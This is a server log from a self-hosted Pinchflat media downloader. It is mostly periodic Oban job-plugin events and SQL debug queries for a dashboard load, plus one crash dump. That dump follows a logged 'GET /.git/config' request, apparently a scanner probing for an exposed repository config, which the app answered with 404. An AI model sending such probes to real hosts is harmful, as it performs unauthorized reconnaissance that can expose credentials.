{"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.673 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:12:17.150 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:47.152 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.674 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:13:17.153 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:47.154 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.675 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:14:17.155 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:47.156 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.676 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:15:17.157 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:47.158 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.677 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:16:17.159 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:47.161 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.678 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:17:17.162 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:23.061 [info] GET /.git/config 19:17:23.061 [debug] QUERY OK source="settings" db=0.1ms idle=372.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:23.062 [debug] QUERY OK source="settings" db=0.0ms idle=372.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:17:23.062 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:17:23.062 [error] #PID<0.12570.0> running PinchflatWeb.Endpoint (connection #PID<0.12569.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 50694}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "referer" => "http://pinchflat.8layer8.com/.git/config", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.12570.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"host", "pinchflat.8layer8.com"}, {"referer", "http://pinchflat.8layer8.com/.git/config"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFzEIu2K-z5E5YABeSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 50694}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "referer" => "http://pinchflat.8layer8.com/.git/config", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12569.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 50694}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "referer" => "http://pinchflat.8layer8.com/.git/config", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.12570.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, (truncated) 19:17:47.163 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.679 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:18:17.164 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:47.165 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.680 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:19:17.166 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:47.167 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.681 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:20:17.168 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:47.169 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.682 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:21:17.169 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:47.171 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.683 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:22:17.172 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:47.173 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.684 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:23:17.174 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:47.175 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.686 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:24:17.176 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:47.177 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.686 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:25:17.178 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:47.179 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.687 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:26:17.181 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:47.182 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.688 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:27:17.183 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:47.184 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.689 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:28:17.185 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:47.186 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.690 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:29:17.188 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:47.189 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.691 [info] {"source":"oban","duration":362,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:30:17.190 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:47.191 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.692 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:31:17.192 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:47.193 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.693 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:32:17.194 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:47.196 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.694 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:33:17.198 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:47.199 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.695 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:34:17.200 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:47.201 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.696 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:35:17.202 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:47.203 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.697 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:36:14.069 [info] GET / 19:36:14.069 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:36:14.070 [debug] QUERY OK source="settings" db=0.2ms idle=1380.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:36:14.070 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1380.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:36:14.070 [debug] QUERY OK source="sources" db=0.1ms idle=1380.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:36:14.080 [debug] QUERY OK source="media_items" db=9.8ms idle=1380.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:36:14.081 [debug] QUERY OK source="media_items" db=0.5ms idle=949.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:36:14.081 [debug] QUERY OK source="settings" db=0.1ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:36:14.081 [debug] QUERY OK source="settings" db=0.1ms idle=11.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:36:14.082 [debug] QUERY OK source="settings" db=0.1ms idle=11.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:36:14.083 [debug] QUERY OK source="tasks" db=0.2ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:36:14.083 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:36:14.084 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:36:14.084 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 19:36:14.089 [debug] QUERY OK source="media_items" db=3.3ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:36:14.090 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:36:14.091 [debug] QUERY OK source="sources" db=0.2ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 19:36:14.092 [info] Sent 200 in 23ms 19:36:17.204 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:47.206 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.698 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:37:17.206 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:47.208 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.699 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:38:17.209 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:47.210 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.700 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:39:17.211 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:47.212 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.701 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:40:17.213 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:47.214 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.702 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:41:17.215 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:47.217 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.703 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:42:17.218 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:47.219 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.704 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:43:17.220 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:47.221 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.705 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:44:17.222 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:47.223 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.706 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:45:17.224 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:47.225 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.707 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:46:17.226 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:47.227 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.708 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:47:17.229 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 